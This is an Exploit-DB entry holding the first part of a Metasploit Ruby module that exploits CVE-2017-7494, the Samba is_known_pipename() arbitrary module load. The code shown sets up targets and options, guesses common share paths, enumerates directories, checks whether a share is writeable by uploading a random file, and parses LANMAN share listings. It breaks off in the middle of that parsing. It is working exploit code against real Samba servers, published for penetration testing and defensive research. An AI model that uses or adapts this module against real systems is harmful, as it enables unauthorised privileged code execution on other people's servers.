Exploit-DB #42084
Description: Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - 'is_known_pipename()' Arbitrary Module Load (Metasploit)
Type: remote
Platform: linux
Date: 2017-05-29
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba is_known_pipename() Arbitrary Module Load',
      'Description'    => %q{
          This module triggers an arbitrary shared library load vulnerability
        in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
        requires valid credentials, a writeable folder in an accessible share,
        and knowledge of the server-side path of the writeable folder. In
        some cases, anonymous access combined with common filesystem locations
        can be used to automatically exploit this vulnerability.
      },
      'Author'         =>
        [
          'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery
          'hdm',                                  # Metasploit Module
          'Brendan Coles <bcoles[at]gmail.com>',  # Check logic
          'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
        ],
      'Payload'         =>
        {
          'Space'       => 9000,
          'DisableNops' => true
        },
      'Platform'        => 'linux',
      #
      # Targets are currently limited by platforms with ELF-SO payload wrappers
      #
      'Targets'         =>
        [

          [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
          #
          # Not ready yet
          # [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
          # [ 'Linux MIPS',       { 'Arch' => MIPS } ],
        ],
      'Privileged'      => true,
      'DisclosureDate'  => 'Mar 24 2017',
      'DefaultTarget'   => 1))

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ])

    register_advanced_options(
      [
        OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
      ])
  end


  def generate_common_locations
    candidates = []
    if datastore['SMB_SHARE_BASE'].to_s.length > 0
      candidates << datastore['SMB_SHARE_BASE']
    end

    %W{ /volume1 /volume2 /volume3 /volume4
        /shared /mnt /mnt/usb /media /mnt/media
        /var/samba /tmp /home /home/shared
    }.each do |base_name|
      candidates << base_name
      candidates << [base_name, @share]
      candidates << [base_name, @share.downcase]
      candidates << [base_name, @share.upcase]
      candidates << [base_name, @share.capitalize]
      candidates << [base_name, @share.gsub(" ", "_")]
    end

    candidates.uniq
  end

  def enumerate_directories(share)
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")
      stuff = self.simple.client.find_first("\\*")
      directories = [""]
      stuff.each_pair do |entry,entry_attr|
        next if %W{. ..}.include?(entry)
        next unless entry_attr['type'] == 'D'
        directories << entry
      end

      return directories

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Enum #{share}: #{e}")
      return nil

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
  end

  def verify_writeable_directory(share, directory="")
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")

      random_filename = Rex::Text.rand_text_alpha(5)+".txt"
      filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << Rex::Text.rand_text_alpha(8)
      wfd.close

      simple.delete(filename)
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Write #{share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
  end

  def share_type(val)
    [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
  end

  def enumerate_shares_lanman
    shares = []
    begin
      res = self.simple.client.trans(
        "\\PIPE\\LANMAN",
        (
          [0x00].pack('v') +
          "WrLeh\x00"   +
          "B13BWz\x00"  +
          [0x01, 65406].pack("vv")
        ))
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end
    if res.nil?
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end

    lerror, lconv, lentries, lcount = res['Payload'].to_s[
      res['Payload'].v['ParamOffset'],
      res['Payload'].v['ParamCount']
    ].unpack("v4")

    data = res['Payload'].to_s[
      res['Payload'].v['DataOffset'],
      res['Payload'].v['DataCount']
    ]

    0.upto(lentries - 1) do |i|
      sname,tmp = data[(i * 20) +  0, 14].split("\x00")
      stype     = data[(i * 20) + 14, 2].unpack('v')[0]
      scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
      scoff -= lconv if lconv != 0
      scomm,tmp = data[scoff, data.length - scoff].split("\x00")